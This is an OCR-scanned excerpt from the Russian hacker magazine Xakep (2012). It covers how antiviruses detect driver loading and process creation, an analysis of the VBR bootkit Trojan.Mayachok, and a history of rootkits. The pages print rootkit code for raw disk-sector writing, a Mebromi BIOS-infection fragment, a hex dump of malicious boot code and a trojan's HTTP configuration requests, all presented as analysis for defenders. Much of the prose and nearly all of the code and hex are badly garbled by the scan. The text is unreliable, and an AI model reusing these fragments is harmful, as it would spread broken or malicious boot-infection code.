Рисунок 8. Настройка функции уведомления в «Антивирусе Касперского» на реагирование на создание потока

078 ХАКЕР 02/157/2012

Page 81: Xakep 02_2012

Бурим антивирус. Еще глубже!

• 1 HIТ: 0ОО2А51 D roou еах, [ebp-20h ] • IНIT: 0ОО2А520 dwo~d 15598, еах • IHIТ: 0ОО2А525 • 1 НI Т: 0ОО2А52А • 1 HI Т: 0ОО2А5ЗО

( offset loc 1F478 ) ds: PsSetLoadIroageHotifyRoutine [ebp-1Ch ], еах

УКа3атеnь на функцию уведомnения о

эаrруэке оБРа3а в память

Рисунок 10. PsSetLoadlmageNotifyRoutine в DrWeb контролирует загрузку драйверов

только что созданный процесс. Если его там

нет, значит, ему есть что скрывать . При этом

в большинстве случаев малварь скрывает за ­

п ущенный процесс эа счет перех вата функции

ядра ZwQuerySystemlnformation и фильтрации результатов работы этой функции. (Надеюсь, ты знаешь, чем АРI-функции с префиксом Zw отличаются от функций с префиксом Nt? Если нет, срочно читай Руссиновича . 1 Таким обра­зом, обнаружив, что эта функция перех вачена

кем -то неизвестным , срочно начинай бить

тревогу.

В ообще, практически все более-менее

серьез ные вредоносные программы любят

п е рех ватывать раэличные функции, но это мы

обсудим чуть позже.

ЗАГРУЗКА ДРАЙВЕРА Думаю, ты знаешь, что драйвер служит

не только для управления всякими устрой-

Enum

ствами , как было во времена старого доброго

MS-DOS. ДЛЯ многих программ драйвер - это

путь к ядру системы , путь в ringO. Так же как любой солдат м е чтает стать генералом,

любая более или менее амбициозная малварь

мечтает проникнуть в ядро си стемы и поста­

вить ее на колени , а самый прямой и простой

с пособ осуществ ить эт о - загрузка своего

специально обученн о го вредоно с ного драй­

вера . В с вою очередь, любой более или менее

амбициозный авер просто обязан следить

за всеми драйверами в системе для борьбы

с этим явлением .

Первый с пособ, который напрашивается

сам собой , - это контролировать загрузку

драйверов путем перехвата АРI-функции

NtLoadDriver. Он прост и , в общем-то, эффе кти­

вен , им не брезгуют пользоваться очень мно­

гие производители антивирусны х программ

(к примеру, Comod o, F-Secure, «Лаборатория

sntmt APfМlno!ool пtn.tта .1l!.Rm!It. Ш!1Ita. (Jq)t.mIII .. (по(060'" C:\ WnlDOWS \SYSТEt.02\DRlVERS\ДOffiCJМ120.$Y'S. Послt яrружи Atпи8МР'У< "'Cnfpoc.oro не 'I.&oxtt lCонтроJtИРО8lТЬ "aHaHOnb nporpat.la.ltll.

ПОТtнЦМlJlWiО onккu nporp'M'" 09.9}9tЦMItНМ ymnotp .ptiКQI

Процесс (PID: 8Q.I4):

D:\д,иаРН6yrиtlti\КfЯt'ЕL OEТ._\КfRt4EL ОЕТЕCПVE.fXf

+ Разрешить ДtйпеНt 6),М1 P'SPtWfHO

+ кара""," ПоutснlТь фа"" НI к.1РIНТИН

+ завершить ПреРNТЬ .... ПОJlНfНиt

+ Доба8llТЬ К lICКI1юченмам До6а1КТ ... 8 (ПИ(О!( II(МIOЧfНIIЙ

Рисунок 11 . Реакция «Антивируса Касперского» на загрузку драйвера от Кегпе' Detective 1.2. Может, он и вправду вредоносный? ..

ХАКЕР 02 {157{ 2012

Касперского » , которая включила этот меха ­

низм в свои антивирусы с шестой по девятую

версиюl. Помимо этого, можно прибегнуть к уже знакомым нам функциям уведомле-ния. Функция PsSetLoadlmageNotifyRoutine регистрирует функцию уведомления, которая

вызывается в момент загрузки образа или

отображения образа в память. Операцион -

ная си стема вызывает зарегистрированную

саllЬасk-функцию после отображения в память

образа , исполняемого в пользовательском

про странстве или в пространстве ядра (как

раз то, что нам нужно, ведь драйвера как раз

и грузятся в ядроl , до начала исполнения об­раза (рисунок 101.

KpOMeTOГ~ некоторые антивирусы

учитывают, что для загрузки драйвера его

нужно прописать его в ветке реестра HKLM\ System\CurrentControISet\Services (рисун ок 111. Достаточно следить за этой веткой , чтобы в случае появления там подозрительного раз­

дела с параметром Туре, значение которого

равно 1, 2 или 8 (зто SERVICE_KERNEL_DRIVER, SERVICEJILE_SYSTEM_DRIVER или SERVICE RECOGNIZER_DRIVER cooTBeTcTBeHHoI, с воевременно поднять тревогу (рисунок 111. Надо сказать, что не все антивирусы опо­

вещают пользователя о загрузке драйвера.

Некоторые аверы однозначно и бесповоротно

считают любой подозрительный загружаемый

драйвер вредоносным и без спросу удаляют

и сам драйвер, и программу, которая пыталась

его загрузить, после чего бодро рапортуют, что

малварь уничтожена .

' ЧТО ДАЛЬШЕ? Наш главный редактор уже многозначительно

постукивает резиновой дубинкой по столу,

намекая на то , что выделенное под статью

место заканчивается. А ведь мне так хотелось

рассказать про распознавание кейлоггеров,

антирутк ит-те Х НОЛ0 ГИИ, « песочницу~ подо­

зрительную сетевую активность и целост­

ность системны х файлов, да и аналитический

компонен'т проактивной защиты остался без внимания .. . Ну что же - жди продолжения ,

следующий номер не за горами.:Х:

079

Page 82: Xakep 02_2012

MALWARE

-кит

НОВЫЙ ТИП РУТКИТОВ, ЗАРАЖАЮЩИХ 800Т -СЕКТОРА у производителей

антивирусного обеспечен и я

появилась новая головная

боль - в руки вирусописателей

попала очень необычная

новая технология заражен и я

операционной системы,

использующая особенности

загрузки томов жесткого диска.

Ниже мы попробуем в не й

разобраться .

-Хорошие практики систем ного

коди нга описа ны в

четвертом издании

замечательной книги «Windows System Program­ming», которое вышло в 2010 году. Если постараться, ее можно на йти в Сети. -Для того чтобы приобрести очень хорош ие навыки

работы с ядром

Windows, советую посетить www. osronline.com. Это один из лучших

са йтов в Сети о программировани и в

kernel mode в ядре, к тому же хорошо

освещающи й КОДИНГ под 61t-битн ые

системы .

ы мо г об ратит ь внимание, что за п оследние один -два года

с л ожност ь комп ь ютерных ви русов существенно выросл а.

Создается в п ечатле ни е, ч то н а п о п ри ще вирусмейке р ­

с т ва и руткитострое н ия вч е р а шн их ш кольн иков потеснили очень

сил ь н ые коде р ы, кот о ры е, дал и бы фору даже самим разработ­

чикам винды. В оз н икает вопрос, почему б ы им, с их знаниями, не

работать на хороших п арней? Ответ очевиден . Н и одна антивирус­

ная ком п ания не будет платить такую зарплату, которая устроит

разработчика продв инутого руткита, ведь помимо огромного бабла

за разработку рут кита он на верняка получает еще и процент от

партнерок п о подме н е выда ч и или от тех, кто принуждает поль­

зовател ей от п ра влят ь плат н ы е 5М5-сообщения . Так что, в общем,

можно не уди вляться п оя влению таких сложных и интересных

тех н ологий, как з а ражение VBR.

080

Алекса ндр Э ккерт [stannic.man0gma il.coml

ЯВЛЕНИЕ VВR-РУТКИТА С легкой руки антивирусных товарищей из Or.Web новоявлен-ный руткит был назван Тгоjап.Мауасhоk. Кроме посредственного

отчета, никакой информации о нем пока нет. Мы восполним зтот

пробел и как следует разберем эту интересную малварь. Основной

особенностью руткита является необычный механизм заражения

системы - можешь быть уверен, что ранее такого оригинального

способа в дикой природе не встречалось.

Каждый раздел диска 'то есть каждая партиция, иногда на­зываемая «логический том 005»], имеет собственную загрузочную запись IVo[ume Воо! Record, VBR] или по-другому - сектор, кому

как нравится . Он отличается от Mas!er Воо! Record IMBR], которая контролирует процесс загрузки всего диска, однако суть их схожа.

Таким образом, VBR отвечает за загрузку определенного логиче­ского тома. Каждый VBR состоит из блока параметров диска lDisk Рагате!ег Block], который содержит специфическую информацию о томе, такую как размер, число секторов, имя тома и Т.Д . , а также

сам код за грузки тома IVo[ume Воо! Code], который используется дл я старта опера цио н ной системы. Этот код вызывается кодом

загрузки TOMalmas!er Ьоо!] и исполняется каждый раз, когда за­гружается операционная система. Более подробно о различиях

и особенностях MBR и VBR в различны х операционных система х

можно прочитать здесь - http:Uthestarman.narod.ru/asm/mbr/index . html . VВR-руткит заражает код загрузки тома , подменяя список

драйверов, грузящихся операционной системой и та к им образом

классическая проверка только загрузочного сектора не может

обнаружить вредоносный объект, так как он располагается дальше

- внутри VBR. VВR-руткит перехватывает прерывание INT 13h для просмотра содержимого секторов, считываемых с диска. Затем

он загружает с диска свой драйвер и распаковывает на прежнее

место оригинал ьн ый код VBR. Управление возвращается систем­ному загрузчику. После этого руткит патчит n!ldr, boo!mgr, osloader. ехе, wiпlоаd.ехе и т. д., В зависимости от используемого операци о н­

ной системой загрузчика, так как под удар попадает вся линейка

ОС Windows. Определенная новизна руткита также состоит в том, что он использует не только обычные перех ваты , но и аппаратные

отладочные регистры IdгО-dг7] и выполняет трассировку кода . Это необходимо для того, чтобы придать универсальность руткиту и

обеспечить его обходом защиты целастности загрузочны х модулей.

Непосредственно установка драйвера и перезапись вызывается

во время выполнения n!!Ki5ys!em5!ar!up, когда в системе еще не проинициализирована ' ОТ и отключены прерывания и Pa!chGuard .

ХАКЕР 02/157/2012

Page 83: Xakep 02_2012

Далее автор вредоносной программы прибег к изящному и не­

стандартному решению: руткит патчит с писки из структуры

LOADER_PARAMETER_BLOCK, в частности в список LoadOrderList он добавляется как копия первого модуля в списке [а это ядро ОС!, а в BootDriverList как эагрузочный драйвер, якобы прописан­ный в ветке реестра \Rеgistгу\Масhiпе\Sуstеm\СuггепtСопtгоISеt\ Services\null. Сам механиэм перезаписи сектора не использует никаких новых методов. Крис Касперски, например, неоднократно

писал в нашем журнале о способах гаw-чтения и эаписи информа­

ции на жесткий диск . Обычно для этого вызывается АРI-функция

nbtdll!DeviceloControl с кодом 10CTL_SCSI_PASS_THROUGH_DIRECT. Предварительно заполняются блоки SCSI_PASS_THROUGH_DIRECT и SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER, после чего уже по­сылается SRB [SCSI Request Block! . Руткит делает это следующим образом:

.н е F ],iJE.S .. &.s.с;SI_IQ_WIЦЛ_SЕС1:Q.R) ........ _ .......................................... _ ... . с ............................................ . ..... Dir.е.!=tiо.п .. " ... s(s;с:щсr.LQАIА_Q!Пj ...... _ ......... _ ............................. . . _ .... QpCQJ;J.e ... " ... S(SI.QI'_~RJT~.;. ... .. __ .РR(Q~еlQ . .:: . .sСSIQр'_WR)Л1Q;......... . . ......................... . 1 ... el~.e ........................ . с .. _ Dir:е~1;iол ... ':'_ .. sсs;С);QСН_DАТА_1Nj .. .... CJPC.Qd.e. ." . .5CSIOP_R.EAD ;......... ..... ........................ . _ .... Qр.Со.Qе1б . " .. sСsIQР_RЕАQцij...... . ................. _ .. _ } .... ............. .................. ............. ............... . ........................................ . ...... if . .(SR:t .= .. СРSСSI_I'АS.S_IНRРЧ!iJ:U1ЩЕ;.cI) m.<l1J&c. Ct!b.e.nJl ... _ ...... . с ....... .

SRt.b ... " .. {I'SC.S_I_I'l\S.S_ Т!:!.RР.LlGI:I_D.I.R.ЕСJ_WПН_6.Uf..Е.ЕЮ.Sрt j .......... . ...... h[)ri.\!e = ... C.reatef.j.J.e (DrJ уе, .. ' '." ); ... _ ... ...... if .. Cb.Rr~ye .. ..!.= . INv.IЧ,.ДU:iАNQ.L.Е_V!lLLН;1. .. . ............................. _ ....... . ..... { .

.S.R:t.c.>L,eDg1;b ... ,,_.~:i,~.e.QJ(S.CSI_P.8.SS_IJ:J.RQI..ll.iI:i_D.IR.!;CJ)j ......... . .Sр.:t:.>S.е.nsеIIJJQLелg.~Ь ... " .Я.I~!3_S.ЕJJS.Е_L,.ЕNЯТI:i.;' __ .................. .

.... S.Pt с >Da.1;aln .. " .. Dir.e~.t;j,Qn.j .. _ ... _ ... _ ..... _ ........... _ ............... _ ..... _ .. . ... Sp:t С. > Qa:!: аJr:.<Iл.~.fе r L.!шgt.Ь ... " .. 'ьел g1;bj .......... _ ................................ . . SP.t c.> Н!lщОц:tv.!!J.це .. _,:, .... 4~~ ;. ... _ ............................ _ .......................... . . .5.Rt - >.Q!!.:taBuJf.er:. = .. E!.uffeci. ........................... _ ....... _ ... __ .... _ .... _ .Spt : > SelJ.selnfo.Qf.f ~.e.t ... = .СЩ.QNG ) ... _.. . ................. _ ......... _ ...... . . __ .... С(РСJ:lдR)&.Sр.:tЬ с2.Sеns е.JлfО!3uf.fеr. .. : ... {РСI:iАRJsр1;Ь.).j ... .

... .;i,J .. .(LQ6'!'Л( .LQWQRD{l.iе:l;Vе.г.?Jоп (». ) .. .> .. 5 } ..... _ .. _ .................... . ........ sP.~=.~(dPJ6 .. 0p.eCiJ.t.iQnJ:.Qde .. 7' .. .Qp.CP.de.16; ................... _ ....... .

... eJ?e _ ............... _ ....................................................................... _ ..... _ .. _ .. ......... _ ... Sр:l;.:.~Сq.QJ.J; .•. CJRе.г.!!.цОlJсQ.Qе ... " ... QрСQg.е.;. ................................. .

. .5pt: >.СQРlб .. J9J:.сеUл:j..:tАСJ:.е~.s. = 1R.UJ:j ...................... _ .. _ .. _._ ....... . ... LJ. .. IуI ... ;!.<IJ1()!!Ijв!9тс.~._.9.!1 (ж~ ... ?рt: . .>.сdы1 • ...................... ... sp.:t.: >(QЬJб .COIJ1;ro], ... " ex;1~;. .... .. ............. _ ................................. .

_ .... _ . . J !. J!Щ~J]аеr1 .. s.R!!. :Ь1Q~!s. I),J1Ч~У ..... _ ......... _ ............. __ .................. . .. _S1;!!1;чs ... .':' .. D.еvJ.с.е I Q(ОО:l;ГQ1(!lQr:iу.е., .............................................. .

....... IрСл_SСSсРАS.S_ТНRРч!il:сDIRЕ.ст., ... sР.1;, . рL,е.л, ..... _ ......... . .... _ .. Sp~, .. b.L,el),. &bKe.!!.Q •.. NЩ.L); ._ ................ _ .............. __ ... .

... 1 ._ .. fre.e.(Spt);._ ... _ ......... . } ......... _ ................... _ ........ .

МУХИ И КОТЛЕТЫ в зараженную систему устанавливается полноценный драйвер,

однако он всего лишь грузит дополнительную библиотеку или

во все процессы подряд, или в некий заранее выделенный [тот

экэемпляр, который попал мне в руки, грузил dll во все стартую­щие процессы!. Это осуществляется с помощью обычного способа, который основан на регистрации собственного нотификатора

PsCreateProcessNotifyRoutine и последующем задействован ии механизма АРС. Этот способ, используется и семейством руткита

TDL!TDSS, в нем нет ничего нового, и останавливаться на нем

ХАКЕР 02/157/2012

VВR-руткит

[--Незараженная система

(истема, зараженная VВR-руткитом

незачем. Как именно портит жизнь троян, зависит уже от самой

прогружаемой библиотеки. Так, антивирусные компании часто

утверждают в тырнетах, что Mayachok представляет серьезную опасность. Он крадет средства со счетов сотовых абонентов,

предлагая пользователям ответить на входящее SМS -сообщение . Зафиксированы случаи, когда троян подмен ял youtube .com, vkontakte.ru, odnoklassniki .ru, rostelecom.ru, support.akado.ru, my.mai l.ru и блокиро~ал доступ в интер н ет. При попытке открыть

в браузере какой-либо сайт Trojan.Mayachok .1 перенаправлял пользователя на URL страницы, предлагающей «активировать» или « подтвердить » аккаунт. Для этого пользователю нужно было

указать свой номер телефона и ответить на SМS-сообщение . Один

из подтвержденных методов распространения этой програм-

мы - рассылка в социальной сети В Контакте, рекламирующая

программу для просмотра посетителей, заходивших на страницу

пользователя. Это означает, что Trojan .Mayachok прогружает в про­цессы браузеров свою библиотеку, которая подменяет стартовые

страницы указанных сайтов, которые просят доверчивых п ользо­

вателей отправить SМS-сообщение для получения доступа к саЙту . Вся закавыка в том, что сам VВR-руткит служит лишь средством

для доставки зловредного кода и сам по себе ничего деструктив­

ного не несет [с точки зрения воздействия на ядро и установки драйвера в систему! .

И НА СТАРУХУ НАЙДЕТСЯ САМ ЗНАЕШЬ ЧЕГО ... Самое удивительное в новомодном рутките - это отсутствие хоть

какой-нибудь защиты от проактивок и антивирусны х программ . И

это крайне необычно, поскольку автор руткита, со своим опытом и

очень оригинальным подходом к делу, мог бы запросто прикрутить

для защиты нечто выдающееся. Например, взять TDL с его техни­кой перехвата обработчиков atapi .sys, которая используется для сокрытия файлов и до сих пор ставит в тупик разработчиков анти­

вирусных решений. Реализуй автор VВR-руткита нечто подобное,

троян бы превратился в очень мощное оружие, бороться с которым

было бы очень непросто. Однако, как ни странно, ничего похожего

в функционале VВR-руткита нет. Может быть, автор решил сделать

защиту в более поздних « релизах » или В версиях для более узких

кругов? К тому же выявить заражение системы очень легко [см . скрины!. Да и вообще, зараженная VBR, присутствие « левого » драйвера и dll в системе, регистрация собственного нотификатора загрузки процессов PsCreateProcessNotifyRoutine и патч заргузчи­ка - все это палится в системе на ура.

ЗАКЛЮЧЕНИЕ Выходит, не такой уж сильный программист писал этот руткит. Но зато в креативности ему не откажешь. Возможно, в будущем его

замучают клиенты, и он разработает более серьезные и сложные

версии VВR-руткита, которые будут выделяться не только уникаль­

ным способом заражения системы . Интересно будет посмотреть,

что у него получится, - разработчики ТDL!ТDSS не стоят на месте, и, может быть, этот руткит тоже получит интересное техническое

развитие . ::t:

081

Page 84: Xakep 02_2012

• MALWARE deeonis Ideeonisragmail.coml

китов ...

ОТ НАЧАлА НАЧАЛ ДО СЕГОДНЯШНЕГО ДНЯ Термин «руткит» сам по себе не означает ничего плохого . Это всего лишь утилита

или набор утилит для сокрытия какого-либо программног6 кода и следов его работы . Однако, так как скрываемый код обычно является вредоносным, в народе этот термин

прочно закрепился за зловредами , прячущими себя в системе . Первоначально rootkit'bI появил ись в UNIХ-системах - они помогали замаскировать присутствие взломщика в системе. Но известность они приобрели с выходом операционных систем от Мicrоsоft . А

началось всё еще во времена MS-DOS и стеле-вирусов ... ,

..

Page 85: Xakep 02_2012

1986 В 1~86 году братья Амджат и Базит Алви IAmdjat и Basit Faroog Alvil из Пакистана разработали вирус Brain. Зловред, в теле которого содержались имена, адреса и номера

телефонов авторов, был разработан для того,

чтобы наказать пиратов, ворующих софт у их

компании. При попытке чтения заражённого

сектора Brain «подставлял» его незаражённый оригинал, то есть фактически являлся первым

стелс-вирусом в истории.

Brain не только получил звание родона­чаль"'ика стелс-зловредов, но и стал первым зверьком, спровоцировавшим настоящую

эпидемию, - только в США им было инфици­

ровано около 18 тысяч компьютеров.

990 В первые годы последнего десятилетия ХХ

века проблема вирусов начала приобретать

глобальный характер. В 1990 году на свет поя­вился первый полиморфный вирус Chameleon, который, помимо всего ~рочего, использо­вал для своей ~щиты стелс-приемчики. Chameleon успешно обходил антивирусные программы тех лет и долгое время был недо­

сягаем для них .

Во второй половине 1990-го «на волю»

вырвались Frodo и Whale. Оба зловреда ис­пользовали продвинутые стелс-технологии, а

Whale был знаком с шифрованием и при менял антиотладочные трюки.

992 Семейство вирусов ExeHeader появи-лось в 1992 году. Зловред перехватывал 13h-прерывание и заражал файлы при чтении/ записи сектора, если в нем оказывался

заголовок MZ. Самым опасным из них стал ExeHeader.396, который работал на уровне 21h-прерывания и заRажал ехе-файлы при их

заliyске. Вдобавок к э~му он периодически пытался испортить жесткий диск. Другие виру­

сы семейства ExeHeader работали с прерыва­ниями 16~ 1Ch, 2Fh.

~послеДуlOJ.Цие годы появилось множество

стелс-вирусов под MS-OOS. Они перехваты­вали разнообразные прерывания и ОО,,5-

функции. Например,олигоморфик-стелс-вирус

Kerplunk обрабатывал целых 23 функции: обращения к файлам, поиска, выделения и

освобождения системной памяти.

1993 В 1993 год1"8'ышла новая ОС от Microsoft - Windows NT 3.1, которая задала новые стандарты безопасности . Под эту операцион­

ную систему некоторое время не появлялось

никаких серьезных зловредов, не говоря уже

о стелс-вирусах. Продолжалось развитие вре­

доносного ПО для MS-OOS, КОТОРрlЙ тогда был еще широко распространен.

1995 В 1995 году гуру Wiпdоws-программирования Джефри Рихтер IJeffrey Richterl в своей ле­гендарной книге Programming Applications for Microsoft Windows описал технологии перехва­та системных Bb~BOB в ring3. Впоследствии во многих вредоносах использовался код из

примеров, приведенных в этой книге.

1997 Первый wiп32-вирус, использующий стелс­

приемы, появился лишь в 1997-м И получил

названиеWiп32.СаЬапаs. Зловерд инфициро­вал РЕ-файлы, предварительно проверяя их

размер. Если он был кратным 101 байту, про­грамма считалась зараженной. Чтобы скрыть следы своей активности, Cabanas перехва­тывал несколько АРI-функций, в том числе

FindFirstFileA, FindFirstFileW, FindNextFileA и FindNextFileW. Если файл, к которому шло обращение, был заражен, вирус реализовывал

свой полустелс-алгоритм и показывал, что

этот файл имеет меньшую длину.

В следующие году появилось множество

зловредов, использующих стелс-технологии

'разной степеНjl сложности. Например, Win9x. Zerg ра.ал только под управлением Windows 95/98 и перехватывал девять функций откры­тия/закрытия, чтения/записи и поиска файлов.

История руткитов

-Автор BluePil1 Жанна Рутковекая. Красивая и умная одновременно

При вызове некоторых из них вирус модифи­

цировал системные данные таким образом,

чтобы файл не выглядел инфицированным .

1999 В 1999 году Грег Хогланд IGreg Hoglundl создал утилиту NT Rootkit, в которой реализовал технику обхода системных механизмов защиты

Windows. Результаты его работы были опу­бликованы в электронном журнале PHRACK, а все стелс-вирусы, которые разрабатывались

после этого, с легкой руки Хогланда стали на­

зывать руткитами.

В это же время вышла книга П. Дабак с со­

авторами «Недокументированные возможно­

сти Windows NT» 'Р. Oabak et аl "Undocumented Windows NТ"I, которая описывала методы перехвата системных вызовов в ringO. БОIlее подробно эта тема освещается в книге Свена

Шрайбера «Недокуме.нтированные возможно­

сти Windows 2000», изданной в 2001 году.

Protocol 'nfо

нттр

нттр

нттр

нттр

нттр

нттр

Blaek Internet Trojan запрашивает конфигурацию www.wеаtИегtаlkz.еоm

.. ХАКЕР 02/157/ 2012

GET 7Banner3.php?q=5011 .5011 .2000.0.0. 4fac4ac372 GET l Banner2.php?q=5011.5011.2000.0.0.4fac4ac372

• • • НТТР!1.0 200 ОК (application, octet-strean) GET 'Banner. P~lR? aff _ i d=10б82 нттр / 1.1 НТТР/1.1 404 Not FOL,nd (text / htl'l) GET 'irdex.php?aff_id=24080 нттр 1.1 нттр 1.1 200 ок · (text html)_· ______ ~ __ ~ ____ ~

083

,

Page 86: Xakep 02_2012

..

;

MALWARE

КОММЕРЧЕСКИЕ АНТИВИРУСЫ Русский программист создал проект he4hook. Программа не содержала вредоносного кода,

но умела скрывать файлы на жестком диске .

Она работала на уровне ядра , но сам автор не

считал свое детище руткитом .

ПРИ ОБНАРУЖЕНИИ РУТКИТОВ

2002

БЫЛИ МЕНЕЕ ЭФФЕКТИВНЫ, ЧЕМ

СПЕЦИАЛИЗИРОВАННЫЕ БЕСПЛАТНЫЕ

УТИЛИТЫ

в 2002 году появилась 1'тилита Hacker Dеfепdег [она же НасDеН. Программа, не являвшаяся зло вредом, тем не менее предо­

ставляла гораздо больше возможностей, чем

he4hook. НасDе! умела скрывать не только файлы, но и ключи реестра и процессы . • Утилита имела гибкие настройки и работала

преимущественно в user-mode.

2003 Инструмент Vапquish вышел в 2003 году. Он позволял скрывать файлы, директории

и ключи реестра , но, в отличие от своих

предшественников, выполнял некоторые

вредоносные действия, а именно логировал

пароли. Работал Vanquish в гiпg3 . В этом же году появился Haxdoor. Это был

уже полноценный бэкдо~, использовавший руткит-технологии для своей маскировки. ПО

работало в режиме ядра . Позже вышла его

модификация д-311 Death.

2004 в 2004 году появилась утилита F~ назначенная для сокрыти,," процессов. Она

Stl"ingFound = О;

реализовывала принципиально новую техно­

логию, основанную на изменении C~MHЫX

структур, а не путей к ним, как)То делали

предыдущие программы такого типа.

В это время множество вредоносных

программ начали испольэовать код или

готовые утилиты таких руткитов , как НасDе!

и FU. Вирусы либо напрямую обращались к исполняемым файлам маСКИРl.ющего софта,

что было самым распространенным решени­ем, либо модифицировали код опенсорных • зловредов-руткитов, основанных на Haxdoor.

Haxdoor, FU и НасDе! в том или ином виде встречались в 80 % руткитов того времени. Очень редко можно было встретить rootkit 'bI , написанные на заказ. Качество этих уни­

кальных программ было на высоте. -

2005 в 2005 году рутк иты распространились на­столько широко, что привлекли внимание

СМИ и крупных компаний . Так, например, на

конференции RSA Security с~тостроитель­ная корпорация Microsoft подняла вопрос об угрозах со стороны руткитов.

В это же время начали появляться не-

FileHandle = Cl'"eateFileA ("c:\ \bios, bin" , Ох80000000и, О, О, 3и, Ох80и, О); hFile = FileHandle ; if ( FileHandle ,= ( HANDLE )OxFFFFFFFF

&& ( FileSize = CetFileSize ( FileHandle , О) , FileBuffel" = opel'"atol'" new( FileSize ) , lI\ell\set ( FileBuffet' , О, FileSize ) , ReadFile ( hFile , FileBuffel'" , FileSize , &NUIl1Ьеt'ПfВуtеsRеаd , О» )

Index = О;

if ( FileSize > О ) {

while ( 11 11 11 11 11 11

{

*(СВУТЕ *(СВУТЕ

~VТE *rCBYTE *« ВУТЕ *( (:ВУТЕ *(СВУТЕ

++ Index ;

* ) FileBuffel'" + * ) FileBuffel'" + * ) FileBuffel'" + * ) FileBuffet' + * ) FileBuffel" + * ) FileBuffet' + * ) FileBuffel'" +

if ( Index >= FileSize ) goto _end;

} StringFound = 1;

}

Часть кода Mebromi

lndex ) ,= 'h' Index + 1) != 'о'

lndex + 2) != 'о' Index + 3) != 'k' Index + 5) != '1'"'

lndex + 6) != 'о' lndex + 7) != '11\'

.. коммерческие антируткит-утилиты. Первые

версии таких про грамм были узконаправ­

ленными, например умели выявлять только

скрытые файлы, но со временем маленькие

утилиты превратились'"fполноценное ПО~ля обяаружения гооtkit-вирусов. Такие програм­

мы обладают мощным функционалом и гиб­

кими настройками. К наиболее полезным из

них можно отнести GMER и Rootkit Uпhооkег. Параллельна в недрах хакерского со­

общества была разработана технология еЕуе

BootRoot, породившая концептуально новый класс руткитов - загрузочные руткиты или

буткиты. Идея вовсе не нова, так как вирусы,

записывающие себя в МВR,.существовали еще во времена MS-DOS. Правда, в мире Windows такие шалости были гораздо слож­нее в реализации и опаснее .

2006 в 2006 году руткит-технологии начали ис­пользоваться в е-mаil-червях~ троянцах, таких как Bagle или Gоlduп. Один из круп­нейших ротнетов того'времени - Rustock­активно использовал гооtkit-приемы . К концу

своей жизни спамерская сеть насчитывала

около двух миллионов компьютеров и могла

отправлять до 25 тысяч сообщений в час. Между тем крупные антивирусные ком­

пании в массовом порядке стали внедрять в

свои продукты модули по борьбе со. всемо­

гущими зловредами . В целом коммерческие

антивирусы при обнаружении руткитов были

менее эффективны, чем специаJ1изирован­

ные бесплатные утилиты, которыми, однако,

могли использоваться только проФесси~а­лами.

Но и вирмейкеры не стояли на месте.

Появились концепции руткитов, основанные

на аппаратной виртуализации. В 2006-м ИХ

было целых три: SubVirt, Vitrio и BluePill. Последняя была публично продемонстри­

рована на конференции Black На! Вгiеfiпgs третьего августа 2006 года в виде образца реализации для ядра Windows Vista . Этот руткит р~зработала Йоанна Рутковская, польский специалист по компьютерной ' безопасности. Йоанна утвер~ала, ЧТО, ее творение является « на 100 % не обнару­жИ'ваемым » , 1l0СКОЛЬКУ гипервизор может

обма~уть любую программу детектирова­ния . Впоследствии она же создала про-

ХАКЕР 02/157/ 2012

Page 87: Xakep 02_2012

История руткитов

GЗ view mbr.bln - far . ' .. '-1 ''''-~!\.~~ • 01100000000: 33 С0 8Е D0 ВС 00 7С РВ 50 07 50 1Р РС ВЕ 1В 7С 3AZD'4 :uP.P"ii_~ : 0000000010: ВР 1В 06 50 57 В9 Е5 01 Р3 А4 СВ BD ВЕ 07 В1 04 (,~~РИ1"Q6~Е~-±. 0000000020: 38 6Е 00 7С 09 75 13 83 С5 10 Е2 Р4 CD 18 8В Р5 8n : Он!!fП"-ао 1 Но 0000000030: 83 С6 10 49 74 19 38 2С 74 Р6 А0 В5 07 В4 07 8В fA+ 1t.1.8,. to J.t-'-< 0000000040: Р0 АС ЗС 00 74 РС ВВ 07 00 В4 0Е CD 10 ЕВ Р2 88 d,< til»- 'nI..-~~л 0000000050: 4Е 10 Е8 46 00 73 2А РЕ 46 10 80 7Е 04 0В 74 0В H"-еР ~,.. .F"-_~.~t~ 0000000060: 80 7Е 04 0С 74 05 А0 Вб 07 75 D2 80 46 02 06 83 _~.~t~ ~-нОУМf 0000000070: 46 08 06 83 56 0А 00 Н8 21 00 73 05 А0 В6 07 ЕВ P~fU8 е! s~ Ч1.~ 0000000080: ВС 81 3Е РЕ 7D 55 АА 74 0В 80 7Е 10 00 74 С8 А0 ~>JU~t~_ ~ tE 000011И0090: В7 07 ЕВ А9 8В РС 1Е 57 8В Р5 СВ ВР 05 00 8А 56 .• ~c<ii.~"<oE(,~ SU 00000000А0: 00 В4 08 CD 13 72 23 8А С1 24 3Р 98 8А DE 8А РС ' СI !!l'nSA$?~S_Si.i 00И00000В0: 43 Р7 Е3 8В D1 86 D6 В1 06 D2 ЕЕ 42 Р7 Е2 39 S6 C~a<N+O±~iB~a9U 0000000ЙС0: 0А 77 23 72 0S 39 46 08 7З 1С B~ 01 02 ВВ 00 7С r:i.'lnl'~ FCs L.,. G1Ъ> I

I

00000000D0: ~, .. ,

~~; ,,: '>1 ВА 80 00 CD 13 73 51 4f' 74 4Е 32 Е4 8А 1е ~ _ 1 !!s90tH2aS ;j "("

00000000Е0: 56 00 CD 13 ЕВ Е4 8А S6 00 60 ВВ АА 55 В4 41 CD U 1 !!~aSU >~U' АI ,00й00000F0 : 13 72 36 81 РВ 55 АА 7S 30 Р6 С1 01 74 2В 61 60 !!1'6_uU~H0oA0t +а' 0000000100: 6А 00 6А 00 6А 00 6А 02 90 90 6А 00 68 00 7С 6А j j j Je-J }} :j 0000000110: 01 6А 10 В4 42 8В Р4 CD 13 б1 б1 73 0Е 4Р 74 0В Qj"" В<о 1 !!ааs1Юt~ 0000000120: 32 Е4 8А 56 00 CD 13 ЕВ D6 61 Р9 С3 49 6Е 76 61 2aSU 1 !!~OattA 1 nua 0000000130: 6С 69 64 20 70 61 72 74 69 74 69 6Р 6Е 20 74 61 1id pal't it ion ta 0000000140: 62 6С 65 00 45 72 72 6Р 72 20 6С 6Р 61 64 69 6Е Ы", El'l'O l' 10 ad in 00001100150: 67 20 6Р 70 65 72 61 74 69 6Е 67 20 73 79 7J ?4 9 operating syst .0000000160: 65 6D 00 4D 69 73 73 69 6Е 67 20 6Р 70 '1 , 2 :;. 3 4 .. ' :: 5 6 7

Загрузочный код Mebratix

грамму RedPill, позволявшую отслеживать использование виртуальной машины из

непривилегированного режима и тем самым

детектировать BluePill.

